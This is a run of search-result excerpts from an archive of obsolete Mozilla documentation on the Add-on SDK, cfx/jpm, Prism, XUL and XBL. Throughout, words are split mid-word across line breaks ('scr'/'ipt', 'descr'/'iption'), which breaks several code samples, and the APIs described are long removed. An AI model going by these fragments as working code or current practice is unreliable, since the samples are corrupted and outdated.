...(_("child_id", 2)); see the tutorial on plural support for more information. note that if you use this parameter, you can't supply any placeholders. placeholder1...n : string optional parameters. if you do not include the count parameter, you can supply one or more placeholder strings that are to be inserted into the translated string at locations defined by the translator. if you supply mult
iple placeholders, each one is a separate string parameter. var _ = require("sdk/l10n").get; console.log(_("home_town", "alan", "norwich")); see the tutorial on placeholder support for more information. returns string : the localized string referenced by the identifier parameter passed in, or the identifier itself if no referent for the identifier can be found. ...
core/promise - Archive of obsolete content
e to bar (bar will be fulfilled with that value): var bar = foo().then(null, function failure(error) { // handle error... }); chaining there are two ways to chain promise operations. you can chain them using either inside or outside handlers. flat chaining you can use then for chaining intermediate operations on promises (var data = readasync().then(parse).then(extract)). you can chain mult
iple then functions, because then returns a promise resolved to a return value of an operation and errors propagate through the promise chains. in general good rule of thumb is to prefer then based flat chaining. it makes code easier to read and make changes later: var data = readasync(url). // read content of url asynchronously then(parse). // parse content from the url then(...
...f with promises, but once you start using promises extensively you may discover some missing pieces and this section of documentation may help you to discover them. doing things concurrently so far we have being playing with promises that do things sequentially, but there are many cases where one would need to do things concurrently. in the following example we implement functions that take mult
iple promises and return one that resolves to first one being fulfilled: function race() { let { promise, resolve } = defer(); array.slice(arguments).foreach(function(promise) { promise.then(resolve); }); return promise; } var asyncaorb = race(readasync(urla), readasync(urlb)); note: that this implementation forgives failures and would fail if all promises fail to resolve. there are ...
frame/utils - Archive of obsolete content
create function that takes the nsidomdocument of a privileged document and creates a browser element in its documentelement: let { open } = require('sdk/window/utils'); let { create } = require('sdk/frame/utils'); let window = open('data:text/html,foo'); let frame = create(window.document); optionally create can be passed set of options to configure created frame even further. execution of scr
ipts may easily be enabled: let { open } = require('sdk/window/utils'); let { create } = require('sdk/frame/utils'); let window = open('data:text/html,top'); let frame = create(window.document, { uri: 'data:text/html,<scr
ipt>console.log("running");</scr
ipt>', allowjavascr
ipt: true }); } globals functions create(document, options) creates a xul browser element in a privileged document. par...
...e values see documentation on mdn uri string uri of the document to be loaded into the new frame. defaults to about:blank. remote boolean if true separate process will be used for this frame, and all the following options are ignored. allowauth boolean whether to allow auth dialogs. defaults to false. allowjavascr
ipt boolean whether to allow javascr
ipt execution. defaults to false. allowplugins boolean whether to allow plugin execution. defaults to false. returns frame : the new browser element. ...
io/file - Archive of obsolete content
oining the strings on the file system's path separator. list(path) returns an array of file names in the given directory. parameters path : string the path of the directory. returns array : an array of file names. each is a basename, not a full path. mkpath(path) makes a new directory named by the given path. any subdirectories that do not exist are also created. mkpath can be called mult
iple times on the same path. parameters path : string the path to create. open(path, mode) returns a stream providing access to the contents of a file. parameters path : string the path of the file to open. mode : string an optional string, each character of which describes a characteristic of the returned stream. if the string contains "r", the file is opened in read-only mode. "w" op...
... read-only mode. "w" opens the file in write-only mode. "b" opens the file in binary mode. if "b" is not present, the file is opened in text mode, and its contents are assumed to be utf-8. if mode is not given, "r" is assumed, and the file is opened in read-only text mode. apart from these options, this api always passes the following options: create_file, truncate (see //github.com/realityr
ipple/uxp/blob/master/nsprpub/pr/include/prio.h#550). this means that: if the file does not exist it is created if the file exists, its length is truncated to zero it is not possible to open the file in append mode. returns stream : if the file is opened in text read-only mode, a textreader is returned, and if text write-only mode, a textwriter is returned. see text-streams for information o...
util/object - Archive of obsolete content
globals functions merge(source, arguments) merges all of the properties of all arguments into the first argument. if two or more argument objects have properties with the same name, the property is overwritten with precedence from right to left, implying that properties of the object on the left are overwritten by a same named property of an object on the right. properties are merged with descr
iptors onto the source object. any argument given with "falsy" values (null, undefined) in case of objects are sk
ipped. let { merge } = require("sdk/util/object"); var a = { jetpacks: "are yes", foo: 10 } var b = merge(a, { foo: 5, bar: 6 }, { foo: 50, location: "sf" }); b === a // true b.jetpacks // "are yes" b.foo // 50 b.bar // 6 b.location // "sf" // merge also translates proper...
...o the source object. any argument given with "falsy" values (null, undefined) in case of objects are sk
ipped. let { merge } = require("sdk/util/object"); var a = { jetpacks: "are yes", foo: 10 } var b = merge(a, { foo: 5, bar: 6 }, { foo: 50, location: "sf" }); b === a // true b.jetpacks // "are yes" b.foo // 50 b.bar // 6 b.location // "sf" // merge also translates property descr
iptors var c = { "type": "addon" }; var d = {}; object.defineproperty(d, "name", { value: "jetpacks", configurable: false }); merge(c, d); var props = object.getownpropertydescr
iptor(c, "name"); console.log(props.configurable); // true parameters source : object the object that other properties are merged into. arguments : object n amount of additional objects that are merged into source o...
cfx to jpm - Archive of obsolete content
ommand-line tool that you use to initialize, run, test, and package add-ons. the current tool is called jpm, and is based on node.js. it replaces the old cfx tool. you can use jpm from firefox 38 onwards. this article highlights the main differences between cfx and jpm. a guide to working with jpm if you're already familiar with cfx. installation cfx is python-based and is distributed as a z
ip file. jpm is node-js-based and is distributed through npm. so for jpm you don't need python, but you do need npm. to get new updates of cfx you download and extract a new z
ip file, while to get the new version of jpm, use npm update. for jpm installation instructions, see the installation section in the jpm reference. activation you need to call cfx activate before you can use cfx, and this o...
...here is a known bug in simple options handling which may require the workaround described in https://bug635044.bugzilla.mozilla.org/show_bug.cgi?id=1243467 commands and command options permanently removed commands jpm has dropped support for all the "internal" cfx commands. permanently removed options jpm has dropped support for: --extra-packages --use-config --package-path --pkgdir --no-str
ip-xpi --harness-option --manifest-overload --output-file --templatedir --keydir --profiledir --overload-modules --static-args --app --no-run --addons --e10s --logfile --dependencies --force-mobile --test-runner-pkg instead of --profiledir and --overload-modules, use --profile and --overload. instead of using --force-mobile, explicitly add fennec to engines section of your package.json. package.j...
Adding a Button to the Toolbar - Archive of obsolete content
ads https://www.mozilla.org/ into a new tab. specifying the icon the icon property may specify a single icon or a collection of icons in different sizes, as in the example above. if you specify a collection of icons in different sizes the browser will automatically choose the best fit for the screen resolution and the place in the browser ui that hosts the button. read more about specifying mult
iple icons. the icon file must be packaged with your add-on: it may not refer to a remote file. you can change the icon at any time by setting the button's icon property. you can change the icon, and the other state attributes, either globally, for a specific window, or for a specific tab. read more about updating state. attaching a panel if you need to attach a panel to a button, use the toggle...
... adds a boolean checked property which is toggled whenever the button is checked. to attach the panel, pass the button to the panel's show() method. for more details on this, see the toggle button's documentation. displaying richer content to create more complex user interface content than is possible with just a button, use the toolbar api. with the toolbar api you get a complete horizontal str
ip of user interface real estate. you can add buttons to the toolbar and also frames, that can host html, css, and javascr
ipt. learning more action button reference toggle button reference toolbar reference ...
Overview - Archive of obsolete content
9 and removed in firefox 38. warning: this tutorial relies on the since-removed widget api and no longer works with firefox. the widget api is deprecated from firefox 29 onwards. please see the ui module for replacements. in particular, for a simple button, try the action button or toggle button apis, and for a more complex widget try the toolbar or sidebar apis. ...
... the widget is used to switch the annotator on and off, and to display a list of all the stored annotations. the annotation-editor panel enables the user to enter a new annotation. ...
Getting started (cfx) - Archive of obsolete content
. when you run or package an add-on using cfx run or cfx xpi, the add-on will use the versions of the modules in the version of firefox that hosts it. as an add-on developer, this is usually what you want. but if you're developing the sdk modules themselves, of course, it isn't. in this case it's assumed that you have checked out the sdk from its github repo and will have run the bin/activate scr
ipt from the root of your checkout. then when you invoke cfx run or cfx xpi, you pass the "-o" option: cfx run -o this instructs cfx to use the local copies of the sdk modules, not the ones in firefox. developing without cfx run because cfx run restarts the browser each time you invoke it, it can be a little cumbersome if you are making frequent changes to an add-on. an alternative development...
...hanges to an add-on. an alternative development model is to use the extension auto-installer add-on: this listens for new xpi files on a specified port and installs them automatically. that way you can test new changes without needing to restart the browser: make a change to your add-on run cfx xpi post the add-on to the port specified you could even automate this workflow with a simple scr
ipt. for example: while true ; do cfx xpi ; wget --post-file=codesy.xpi http://localhost:8888/ ; sleep 5 ; done note that the logging level defined for the console is different when you use this method, compared to the logging level used when an add-on is run using cfx run. this means that if you want to see output from console.log() messages, you'll have to tweak a setting. see the documentation...
Using third-party modules (jpm) - Archive of obsolete content
from firefox 38 onwards. this article describes how you can use third-party modules with jpm. to follow this tutorial you'll need to have installed jpm and learned the basic jpm commands. to install menuitem you'll need to have git command. if you have error related to git, check you have latest git command installed. ...
...module developers can publish sdk modules to npm, and add-on developers can install them from npm and build them into their add-ons. this article explains how to use npm-hosted third-party sdk modules with jpm. we'll use the menuitem package to add a new menu item to firefox. ...
Add-on SDK - Archive of obsolete content
tutorials getting started how to install the sdk and use the jpm tool to develop, test, and package add-ons. interact with the browser open web pages, listen for pages loading and list open pages. development techniques learn about common development techniques, such as unit testing, logging, creating reusable modules, localization, and mobile development. ...
...the annotator example add-on. guides contributor's guide learn how to start contributing to the sdk and about the most important idioms used in the sdk code such as modules, classes and inheritance, private properties, and content processes. sdk infrastructure aspects of the sdk's underlying technology: modules, the program id and the rules defining firefox compatibility. content scr
ipts a detailed guide to working with content scr
ipts. sdk idioms the sdk's event framework and the distinction between add-on scr
ipts and content scr
ipts. xul migration a guide to porting xul add-ons to the sdk. this guide includes a comparison of the two toolsets and a working example of porting a xul add-on. reference high-level apis reference documentation for the high-level...
LookupNamespaceURI - Archive of obsolete content
// default namespace if (att.value) { return att.value; } return null; // unknown } } } if (node.parentnode && node.parentnode.nodetype !== 9) { // entityreferences may have to be sk
ipped to get to it return lookupnamespaceurihelper(node.parentnode, prefix); } return null; case 9: // document_node return lookupnamespaceurihelper(node.documentelement, prefix); case 6: // entity_node case 12: // notation_node case 10: // document_type_node case 11: // do...
... return lookupnamespaceurihelper(node.ownerelement, prefix); } return null; // unknown default: // text_node (3), cdata_section_node (4), entity_reference_node (5), // processing_instruction_node (7), comment_node (8) if (node.parentnode) { // entityreferences may have to be sk
ipped to get to it return lookupnamespaceurihelper(node.parentnode, prefix); } return null; // unknown } }; } }()); ...
Running applications - Archive of obsolete content
using nsilocalfile.launch() this method is not implemented on all platforms, especially not on unix/linux! see nsilocalfile.launch() for details and make sure that all your target platforms support this method! this method has the same effect as if you double-clicked the file, so for executable files--it will just run the file without any parameters. for more information on nsifile/nsilocalfile, see file i/o. ...
...ethod has the same effect as if you double-clicked the file, so for executable files--it will just run the file without any parameters. for more information on nsifile/nsilocalfile, see file i/o. var file = components.classes["@mozilla.org/file/local;1"] .createinstance(components.interfaces.nsilocalfile); file.initwithpath("c:\\myapp.exe"); file.launch(); references ns
iprocess nsilocalfile if you need to launch an executable bundled in your xpi, see code sn
ippets:file i/o#getting your extension's folder. launching an executable process from a web page ...
Enabling Experimental Jetpack Features - Archive of obsolete content
elopment. read the experiment report for what we learned from it and the blog post announcing the first sdk release for what we're up to next! the proposed method for accessing jetpack features that are still in development and may be added in the future is inspired by python's future module. in python, you can call from __future__ import foo which adds the functionality that foo yields to the scr
ipt. in jetpack, we propse adding a new function to the base namespace called importfromfuture. methods import(stringmountpath string)imports the requested experimental feature into the scr
ipt. stringmountpathstring that enumerates where, starting from the jetpack base, the feature will be mounted. to get a list of mount paths that are available, see the method below. string here is an example of...
...a new function to the base namespace called importfromfuture. methods import(stringmountpath string)imports the requested experimental feature into the scr
ipt. stringmountpathstring that enumerates where, starting from the jetpack base, the feature will be mounted. to get a list of mount paths that are available, see the method below. string here is an example of how to import a feature (the cl
ipboard) from the future. jetpack.future.import("cl
ipboard"); the goal here is to be able to remove the jetpack.future.import() call when the feature has been formally accepted into the core without additionally changing the scr
ipt (barring any other changes made during integration). list() arrayreturns an array of the set of potential stringmountpath as used in jetpack.future.import(). this is an e...
Enabling - Archive of obsolete content
the proposed method for accessing jetpack features that are still in development and may be added in the future is inspired by python's future module. in python, you can call from __future__ import foo which adds the functionality that foo yields to the scr
ipt. in jetpack, we propse adding a new function to the base namespace called importfromfuture. methods import(stringmountpath string)imports the requested experimental feature into the scr
ipt. ...
... a new function to the base namespace called importfromfuture. methods import(stringmountpath string)imports the requested experimental feature into the scr
ipt. stringmountpathstring that enumerates where, starting from the jetpack base, the feature will be mounted. to get a list of mount paths that are available, see the method below. string here is an example of how to import a feature (the cl
ipboard) from the future. jetpack.future.import("cl
ipboard"); the goal here is to be able to remove the jetpack.future.import() call when the feature has been formally accepted into the core without additionally changing the scr
ipt (barring any other changes made during integration). list()returns an array of the set of potential stringmountpath as used in jetpack.future.import(). this is an exampl...
Enabling Experimental Jetpack Features - Archive of obsolete content
the proposed method for accessing jetpack features that are still in development and may be added in the future is inspired by python's future module. in python, you can call from __future__ import foo which adds the functionality that foo yields to the scr
ipt. in jetpack, we propse adding a new function to the base namespace called importfromfuture. methods import(stringmountpath string)imports the requested experimental feature into the scr
ipt. ...
... a new function to the base namespace called importfromfuture. methods import(stringmountpath string)imports the requested experimental feature into the scr
ipt. stringmountpathstring that enumerates where, starting from the jetpack base, the feature will be mounted. to get a list of mount paths that are available, see the method below. string here is an example of how to import a feature (the cl
ipboard) from the future. jetpack.future.import("cl
ipboard"); the goal here is to be able to remove the jetpack.future.import() call when the feature has been formally accepted into the core without additionally changing the scr
ipt (barring any other changes made during integration). list() arrayreturns an array of the set of potential stringmountpath as used in jetpack.future.import(). this is an ...
Microsummary topics - Archive of obsolete content
ator to programmatically install a microsummary generator -- for example, in an extension that helps users create custom generators for their favorite sites -- obtain a reference to the nsimicrosummaryservice interface implemented by the nsimicrosummaryservice component, then call its installgenerator() method, passing it an xml document containing the generator. ...
...ble from urls, you should not use this form for your programmatically-installed generators. differentiating between user-initiated and microsummary-related requests when firefox updates a microsummary generated by a microsummary generator add-on, it automatically downloads the html content of the page being summarized. it does not generally download related content like embedded images and javascr
ipt scr
ipts referenced by the page. however, because of a technical limitation (bug 340746), it does download css stylesheets referenced by the page. firefox includes the x-moz request header with these requests. it sets the value of the header to the string microsummary. thus, to differentiate requests initiated manually by users for the purpose of viewing a web page from those initiated automatica...
Bundles - Archive of obsolete content
this folder is located in the application data folder of the user's home directory on windows, in the ~/.webapps directory on linux and under ~/library on os x. since this folder maybe be located in a directory that requires elevated privileges, the web application should not write data to it. ...
...nds such a <link> tag, it will notify the user. the user can then decide to install the webapp. how-to here is a simple way to build a basic web application bundle: create file called webapp.ini that contains something like: [parameters] id=unique-app-id@unique-author-id.whatever name=webapp name uri=http://[the-url-what-you-want-to-connect-to]/ status=yes location=no sidebar=no navigation=no z
ip the file to [whatever].webapp double-click the webapp bundle or use prism -webapp [path-to-webapp] structure a bundle can contain the following files. any other files in the .webapp file will be ignored. after the .webapp file is executed the first time, these files will be unz
ipped and "cached" to a local directory structure. / webapp.ini webapp.js webapp.css winnt/ webapp.css darw...
Configuration - Archive of obsolete content
s the hotkey history navigation (alt+left, alt+right and alt+home) on or off for this web app: yes or no splashscreen filename of an html page to be displayed while the app is loading. the file must be located in the web app home directory: splashscreen.html include uris that should be opened in the web app, rather than in the default browser. an asterisk is used to match any string. separate mult
iple uris with commas: *google.com, *yahoo.com exclude urls that should be opened in the default browser, rather than in the web app. syntax is the same as for include. trayicon indicates that a system tray (notification area) icon should be displayed for the application on windows: yes or no. iconic specifies that the application should be opened in iconic state. currently support only on windows i...
...pplication should be opened in iconic state. currently support only on windows in conjunction with the trayicon, causes the application to open minimized to the system tray: yes or no. launch prism with -webapp [bundle] to load the specified web profile and install the webapp to your prism profile folder. once the webapp is installed, it can be launched using -webapp [webapp-id] and prism will sk
ip the installation and run the webapp directly. any of the profile parameters can also be passed directly on the command line as well. example here is an example of a webapp.ini profile: [parameters] name=gmail id=google.mail@developer.mozilla.org uri=https://mail.google.com icon=gmail status=yes location=no sidebar=no navigation=no ...
Extensions - Archive of obsolete content
res is an extreme lack of ui elements, which means that trying to use the same overlays in firefox and prism is really not possible. the basics in order to install an extension in prism, you need to follow the guidelines for building a mozilla-based extension. to support prism specifically, you'll need to add prism to the list of target applications in the extension's install.rdf file. the code sn
ippet will look something like this: <em:targetapplication> <!- prism -> <descr
iption> <em:id>prism@developer.mozilla.org</em:id> <em:minversion>0.8</em:minversion> <em:maxversion>1.0.0.*</em:maxversion> </descr
iption> </em:targetapplication> in addition to the install manifest changes, you may want to expose your extension into the prism ui. prism does have a few ui elements, suc...
...for the actual structure: webrunner.xulporting an existing extension since there aren't many extensions designed explicitly for prism, you may need to port your favorite extensions. this usually means extracting and editing the install.rdf file to add prism as a target application. you may also need to modify the extension's overlay to be able to work with the prism ui. many archive tools, like 7z
ip, can edit and update a file in the archive without needing to manually extract it and add it back into the xpi. installing prism supports a basic add-on user interface which allows a user to manage extensions. using this dialog, a user just launches a webapp and opens the add-ons dialog. then install the extension by either dragging and dropping the extension onto the dialog, or by clicking the "...
Safely loading URIs - Archive of obsolete content
unicate with each other. finally, some uris (e.g. chrome: give the loaded page expanded privileges. if a web page gets access to a window with such expanded privileges, it may be able to abuse it to gain access to those privileges itself. to solve this problem, gecko provides methods that allow the caller to check whether it's safe to load a particular uri. these methods are exposed on the nsiscr
iptsecuritymanager interface and are called checkloaduri, checkloaduriwithprinc
ipal, and checkloaduristr. all three methods take three arguments: the first argument identifies the source of the uri, the second argument is the uri that one plans to load, and the third argument is a set of flags that can be used to impose additional restrictions on the uris that may be loaded. it's important to make s...
...e secure. there's no way to do this completely securely in gecko versions prior to 1.8.0.4. if you're doing anything else (passing a uri string to some other api like window.open or <img src="">, passing a uri object to an api that loads uri objects, etc.) use whichever method best fits the data you can get your hands on. if you have a choice as to what data you have, prefer checkloaduriwithprinc
ipal to checkloaduri and prefer checkloaduri to checkloaduristr. note that checkloaduriwithprinc
ipal is not scr
iptable in gecko 1.8, so extensions are not able to use it. changes in gecko 1.9 a key security change in gecko 1.9 is the addition of the new security.fileuri.strict_origin_policy preference. this boolean preference, which defaults to true, can be set to false if the user doesn't want ...
String Quick Reference - Archive of obsolete content
caller to choose the storage mechanism, allowing for possible sharing or more efficient handling of string fragments. ...
...string; widestring.assignwithconversion("some string"); callwidefunction(widestring); // use widestring again, but need a const prunichar* callwidewithflatstring(widestring.get()) nsautostring widestring2; widestring2.assignwithconversion("another string"); callwidefunction(widestring2); new way: use ns_literal_string or ns_named_literal_string // pre-declare the variable if you'll use it mult
iple times ns_named_literal_string(widestring, "some string"); callwidefunction(widestring); // use widestring again, but need a const prunichar* callwidewithflatstring(widestring.get()); // inline the string with ns_literal_string callwidefunction(ns_literal_string("another string")); converting literal strings to string objects what: converting from const prunichar*/const char* to the appro...
Table Cellmap - Border Collapse - Archive of obsolete content
it can have 4 values: ns_side_top ns_side_right ns_side_bottom ns_side_left the size of the smaller border that goes into that corner. if this corner is a sta...
... = 4, // col to the left erowgroupowner = 5, eajarowgroupowner = 6, // row group above erowowner = 7, eajarowowner = 8, // row above ecellowner = 9, eajacellowner = 10 // cell to the top or to the left the ownersh
ip is determined by the rules for border conflict resolution as defined in css 2.1 corner for the corner we store the corner ownersh
ip, defined by the orientation of the major edge relative to the corner that goes into that corner. it can have 4 values: ns_side_top ns_side_right ns_side_bottom ns_side_left the size of the smaller border that goes into that corner. if this corner is a start for a horizontal segment, if this corner is a start for a vertical segment, if this corner should be beveled. ...
Abc Assembler Tests - Archive of obsolete content
it is possible to write tests using the abc assembler. the assembler code can be found in /utils/abcasm. tests can be found in /test/acceptance/abcasm and end with the .abs extension. the tests are run using the same runtests.py scr
ipt that is used for the actionscr
ipt tests. when run, the assembler tests include the abcasm/abs_helper.as file which defines the following functions: start(summary:string):void - start a new test section described by summary end():void - test section finished compare_stricteq(name:string, expected:*, actual:*):void - compare the results of a testcase where name is the testcase name compare_typeerror(name:string, expected:*, actual:*):void - special function for comparing typeerrors (runtimeerrors) - will only compare the first 22 chars of expect...
...e. if you wish to allow use of your version of this file only * under the terms of either the gpl or the lgpl, and not to allow others to * use your version of this file under the terms of the mpl, indicate your * decision by deleting the provisions above and replace them with the notice * and other provisions required by the gpl or the lgpl. if you do not delete * the provisions above, a rec
ipient may use your version of this file under * the terms of any one of the mpl, the gpl or the lgpl. * * ***** end license block ***** */ function main() { getlocal0 pushscope findproperty start pushstring "instructions that start with the letter l" callpropvoid start 1 newfunction .function_id(runtest) getlocal0 call 0 findproperty end callpropvoid end ...
TraceVis - Archive of obsolete content
emonkey. if tracemonkey is built with tracevis, and run with tracevis enabled, then tracemonkey will output a log of all its activity transitions. the log can be postprocessed into a visualization that can be used to rapidly diagnose many tracing-related performance issues. so far, most of the documentation on tracevis is contained in the announcement blog post. prerequisites the visualization scr
ipts require pil (python imaging library). building with tracevis these are the steps to build a js shell with tracevis, starting from a mozilla source directory. these directions create an optimized build, because optimized builds are usually better for performance analysis. cd js/src autoconf213 mkdir opt-tracevis cd opt-tracevis ../configure --enable-tracevis make -j2 the resulting binary will be...
... performance analysis. cd js/src autoconf213 mkdir opt-tracevis cd opt-tracevis ../configure --enable-tracevis make -j2 the resulting binary will be at dist/bin/js relative to the current directory. running with tracevis to run a shell with tracevis: dist/bin/js -j -t /tmp/tracevis.log myprogram.js the tracevis log file is a binary file consisting of a sequence of 8-byte records. there are two scr
ipts for postprocessing the log files in js/src/tracevis. text summary python binlog.py /tmp/tracevis.log this prints a summary of the log. the first part lists the time tracemonkey spent in each major tracing activity. the second part lists the reasons tracemonkey transitioned to the interpreter, and the amount of interpreter time charged to each reason. visualization python vis.py /tmp/tracevis.l...
Tuning Pageload - Archive of obsolete content
this document explains which preferences to tweak to affect your pageload time. you use the url about:config or the file prefs.js in your profile to change these. to best understand what the following preferences affect, there are a few things you should know. the data flows in gecko as follows: network -> necko -> parser -> content sink -> content model -> rendering model -> layout -> painting. ...
...all content.notify.backoffcount controls how many times that happens for a given page (the default is arbitrarily many times). once the backoff count is reached, no more rendering model construction till after the whole page is parsed. content.maxtextrun controls the maximum length of data in a textnode. so if you have more than content.maxtextrun characters of text in a row, we'll create mult
iple textnodes for it. this is an optimization designed to prevent long text from ending up being o(n^2). it's also really a bug per the dom spec and we should stop doing it... ...
DOM Interfaces - Archive of obsolete content
the interface is implemented by all dom documents. idl definition interface nsidomdocumentxbl { nodelist getanonymousnodes(in element elt); element getanonymouselementbyattribute(in element elt, in domstring attrname, in domstring attrvalue); element getbindingparent(in node node); void loadbindingdocument(in domstring documenturl); }; methods getanonymousnodes the getanonymousnodes method retrieves the anonymous children of the specified element. ...
...the one on which the loadbindingdocument method was invoked). the binding document can then be modified programmatically using the dom. any subsequent bindings that are attached to elements within the document will be constructed from the modified binding document. parameters documenturl of type domstring - the url of a binding document. no return value example the following sn
ippet checks to see if any anonymous child of "element" is itself an element. if (element.ownerdocument instanceof ci.nsidomdocumentxbl) { var anonchildren = element.ownerdocument.getanonymousnodes(element); if (anonchildren) { for (var i = 0; i < anonchildren.length; i++) { if (anonchildren[i].nodetype == 1) return false; } } } re...
Event Handlers - Archive of obsolete content
event handlers are defined using handler elements. a handler specifies what event it is listening for using the event attribute. the handler contains scr
ipt that is executed when an event flows to the object the handler is attached to and if that event matches all of the criteria specified by the handler. the most basic handler specifies the event to listen for and an action to take when the handler fires. this action can be specified either using an action attribute or by specifying the scr
ipt as a child of the handler element. if both are specified, the attribute wins. in both cases the javascr
ipt body is compiled just before execution; code that does not depend on the context of the event should be factored into normal javascr
ipt file. (note that there is a possibility that this may cha...
...be down at the time the key or mouse event occurs in order for the handler to execute. examples of common keys in the list are shift and control. for more details, see the xbl element reference for <handler>. in addition, mouse events can specify the button and the clickcount. this allows xbl authors to easily define handlers for right-click, or for left double-click, without having to write scr
ipt on the same handler to differentiate those cases. key events support the charcode and keycode attributes. when set, the corresponding fields in the event object must match for the event to fire. [editor's note: should we have section on error-handling? probably.] ...
Groupboxes - Archive of obsolete content
border and a caption, although you can change the appearance using css. you can create a caption for your groupbox by inserting a caption element as the first child. groupboxes are box elements, so you can use the box attributes, such as orient and flex. a simple groupbox example the example below shows a simple groupbox: example 1 : source view <groupbox> <caption label="answer"/> <descr
iption value="banana"/> <descr
iption value="tangerine"/> <descr
iption value="phone booth"/> <descr
iption value="kiwi"/> </groupbox> this will cause four pieces of text to be displayed surrounded by a box with the label answer. note that the groupbox has a vertical orientation by default which is necessary to have the text elements stack in a single column. more complex captions you can also a...
...d, usually you would use a checkbox or dropdown menu. example 2 : source view <groupbox flex="1"> <caption> <checkbox label="enable backups"/> </caption> <hbox> <label control="dir" value="directory:"/> <textbox id="dir" flex="1"/> </hbox> <checkbox label="compress archived files"/> </groupbox> in this example, a checkbox has been used as a caption. we might use a scr
ipt to enable and disable the contents of the groupbox when the checkbox is checked and unchecked. the groupbox contains a horizontal box with a label and textbox. both the textbox and groupbox have been made flexible so the textbox expands when the window is expanded. the additional checkbox appears below the textbox because of the vertical orientation of the groupbox. we'll add a groupbox to the f...
Introduction - Archive of obsolete content
r interface instead; most of the features you used to have to use xul for are available in html5. the first three types all require an installation to be performed on the user's machine. however, these types of applications do not have security restrictions placed on them, so they may access local files and read and write preferences, for example. for extensions, the xul files and associated scr
ipts and images used by an application would be packaged into a single file and downloaded and installed by the user. mozilla applications such as firefox provide an extension manager which allows packages to be installed without having to write a lot of complex code. what do i need to know to use this tutorial? you should have an understanding of html and at least a basic understanding of xml and...
...ss. here are some guidelines to keep in mind: xul elements and attributes should all be entered in lowercase as xml is case-sensitive (unlike html). attribute values in xul must be placed inside quotes, even if they are numbers. xul files are usually split into four files, one each for the layout and elements, for style declarations, for entity declarations (used for localization) and for scr
ipts. in addition, you may have extra files for images or for platform specific data. xul is supported in mozilla and browsers that are also based upon on the gecko engine, such as netscape 6 or later and mozilla firefox. due to various changes in xul syntax over time, you will want to get the latest version for the examples to work properly. xul is fairly similar in firefox and to other browsers,...
Introduction to XBL - Archive of obsolete content
r describes the properties and methods of the scroll bar in addition to describing the xul elements that make up a scroll bar. like xul, xbl is an xml language, so it has similar syntax rules. the following example shows the basic skeleton of an xbl file: <?xml version="1.0"?> <bindings xmlns="http://www.mozilla.org/xbl"> <binding id="binding1"> <!-- content, property, method and event descr
iptions go here --> </binding> <binding id="binding2"> <!-- content, property, method and event descr
iptions go here --> </binding> </bindings> the bindings element is the root element of an xbl file and contains one or more binding elements. each binding element declares a single binding. the id attribute can be used to identify the binding, as in the example above. the template has two ...
...u will usually put all of your bindings in a single file. the result in this example, is that all scrollbar elements will have their behavior described by the binding 'binding1'. a binding has five types of things that it declares: content: child elements that are added to the element that the binding is bound to. properties: properties added to the element. they can be accessed through a scr
ipt. methods: methods added to the element. they can be called from a scr
ipt. events: events, such as mouse clicks and keypresses that the element will respond to. the binding can add scr
ipts to provide default handling. in addition new events can be defined. style: custom style properties that the xbl defined element has. binding example the box is generic enough that you can use it to creat...
More Button Features - Archive of obsolete content
es are not specified when the default value can be used. buttons with extra content buttons may have arbitrary markup contained inside them, and it will be rendered inside the button. you probably wouldn't use this very often, but you might use it when creating custom elements. for example, the following will create a button where two of the words are red: example 4 : source view <button> <descr
iption value="this is a"/> <descr
iption value="rather strange" style="color: red;"/> <descr
iption value="button"/> </button> any xul element may be placed inside the button. html elements will be ignored, so you need to wrap them inside a descr
iption element. if you specify the label attribute on the button, it will override any content placed inside the button. button with menupopup you can pl...
...device"> <menupopup> <menuitem label="printer"/> <menuitem label="mouse"/> <menuitem label="keyboard"/> </menupopup> </button> in this example, the user may click the button to pop up a menu containing three items. note that selecting one of these menu items does not change the label on the button, unlike a menulist. this type of button is intended to be used like a menu, with scr
ipts attached to each item to perform a task. we'll see more on menus later. you can also set the type attribute to the value menu-button. this also creates a button with a menu, but the appearance will be different. the image to the right shows the difference. the left one is a 'menu' and the second one is a 'menu-button'. it has an arrow indicating the presence of a menu. for the 'menu', the user ...
Numeric Controls - Archive of obsolete content
t value of 0. the maximum value defaults to the special value infinity which means that there is no limit. other numeric textbox attributes the increment attribute may be used to specify by how much the value changes when the arrows are pressed. the default value is 1, but specifying a different value allows the number to change by a larger amount. for instance, the following example steps in mult
iples of 10. <textbox type="number" increment="10" max="100"/> this textbox steps in mult
iples of 10 from 0 to 100. since the min attribute was not specified, it defaults to 0. note that the user can still enter other values if they are typed in. the increment attribute only affects the arrow buttons. the user may also increment or decrement the value using this increment by using the up and down c...
...t may also be used to select from a range of values. instead of a textbox however, a sliding scale is used. the user may drag the thumb of the scale to adjust the value. many of the same attributes as a numeric textbox may be used with a scale: value, min, max and increment may all be used in a similar fashion. the scale does not actually show the value as a number, but it may be used in a scr
ipt. a scale will fire a change event whenever the scales's value is modified. <scale value="40" min="1" max="50"/> this scale defaults to a value of 40 and has a range between 1 and 50. a numeric textbox would normally be used when the value was important to the user, for instance, a field to enter a number of days, or the maximum size of a file. a scale would be used when the actual value isn't i...
Persistent Data - Archive of obsolete content
<< previousnext >> this section describes how to save the state of a xul window. remembering state when building a large application, you will typically want to be able to save some of the state of a window across sessions. for example, the window should remember which toolbars are collapsed even after the user exits. one possibility would be to write a scr
ipt to collect information about what you would like to save and then save it to a file. however, that would be a pain to do for every application. conveniently, xul provides such a mechanism to save the state of a window. the information is collected and stored in a rdf file (localstore.rdf) in the same directory as other user preferences. it holds state information about each window. this method has the advantage that it works wi...
...dow" width="200" height="300" persist="width height" . . . the two attributes of the window element, the width and the height will be saved. you could add additional attributes by adding a space and another attribute name to the persist attribute. you can add the persist attribute to any element and store any attribute. you might use unusual values if you adjust attributes using a scr
ipt. our find files example let's add the persist attribute to some of the elements in the find files dialog. to save the position of the window. to do this, we need to modify the window. <window id="findfile-window" title="find files" persist="screenx screeny width height" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> this will cause th...
The Box Model - Archive of obsolete content
should really use the grid element here to fix this which we'll learn about in a later section. our find files dialog example let's add some boxes to the find files dialog. a vertical box will be added around all of the elements, and a horizontal box with be added around the textbox and the buttons. the result will be that the buttons will appear below the textbox. ...
...d files dialog example let's add some boxes to the find files dialog. a vertical box will be added around all of the elements, and a horizontal box with be added around the textbox and the buttons. the result will be that the buttons will appear below the textbox. <vbox flex="1"> <descr
iption> enter your search criteria below and select the find button to begin the search. </descr
